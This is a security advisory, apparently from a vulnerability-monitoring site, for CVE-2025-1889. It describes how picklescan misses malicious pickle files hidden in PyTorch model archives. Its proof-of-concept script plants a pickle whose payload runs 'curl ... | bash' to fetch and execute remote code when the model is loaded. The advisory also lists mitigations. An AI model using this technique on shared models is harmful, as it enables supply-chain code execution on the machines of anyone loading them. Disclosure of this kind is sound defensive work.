Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-769v-p64c-89pr
No affected components available
CVE-2025-1889
Summary
Picklescan fails to detect hidden pickle files embedded in PyTorch model archives due to its reliance on file extensions for detection. This allows an attacker to embed a secondary, malicious pickle file with a non-standard extension inside a model archive, which remains undetected by picklescan but is still loaded by PyTorch's torch.load() function. This can lead to arbitrary code execution when the model is loaded.
Details
Picklescan primarily identifies pickle files by their extensions (e.g., .pkl, .pt). However, PyTorch allows specifying an alternative pickle file inside a model archive using the pickle_file parameter when calling torch.load(). This makes it possible to embed a malicious pickle file (e.g., config.p) inside the model while keeping the primary data.pkl file benign.
A typical attack works as follows:
- A PyTorch model (model.pt) is created and saved normally.
- A second pickle file (config.p) containing a malicious payload is crafted.
- The data.pkl file in the model is modified to contain an object that calls torch.load(model.pt, pickle_file='config.p'), causing config.p to be loaded when the model is opened.
- Since picklescan ignores non-standard extensions, it does not scan config.p, allowing the malicious payload to evade detection.
- The issue is exacerbated by the fact that PyTorch models are widely shared in ML repositories and organizations, making it a potential supply-chain attack vector.
PoC
import os
import pickle
import torch
import zipfile
from functools import partial
class RemoteCodeExecution:
def __reduce__(self):
return os.system, ("curl -s http://localhost:8080 | bash",)
# Create a directory inside the model
os.makedirs("model", exist_ok=True)
# Create a hidden malicious pickle file
with open("model/config.p", "wb") as f:
pickle.dump(RemoteCodeExecution(), f)
# Create a benign model
model = {}
class AutoLoad:
def __init__(self, path, **kwargs):
self.path = path
self.kwargs = kwargs
def __reduce__(self):
# Use functools.partial to create a partially applied function
# with torch.load and the pickle_file argument
return partial(torch.load, self.path, **self.kwargs), ()
model['config'] = AutoLoad(model_name, pickle_file='config.p', weights_only=False)
torch.save(model, "model.pt")
# Inject the second pickle into the model archive
with zipfile.ZipFile("model.pt", "a") as archive:
archive.write("model/config.p", "model/config.p")
# Loading the model triggers execution of config.p
torch.load("model.pt")
Impact
Severity: High
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in PyTorch models that remains undetected but executes when the model is loaded.
Potential Exploits: This vulnerability could be exploited in supply chain attacks, backdooring pre-trained models distributed via repositories like Hugging Face or PyTorch Hub.
Recommendations
- Scan All Files in the ZIP Archive: picklescan should analyze all files in the archive instead of relying on file extensions.
- Detect Hidden Pickle References: Static analysis should detect torch.load(pickle_file=...) calls inside data.pkl.
- Magic Byte Detection: Instead of relying on extensions, picklescan should inspect file contents for pickle magic bytes (\x80\x05).
- Block the following globals: - torch.load - Block functools.partial
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights.
Limited exploitation activity has been observed. Close monitoring and planned remediation are recommended.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
- CVE-2025-1716
picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.
Alias, EPSS 1.66% - CVE-2025-1889
picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic.
Alias, EPSS 1.66% - EUVD-2025-5323Alias
- EUVD-2025-5523Alias
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard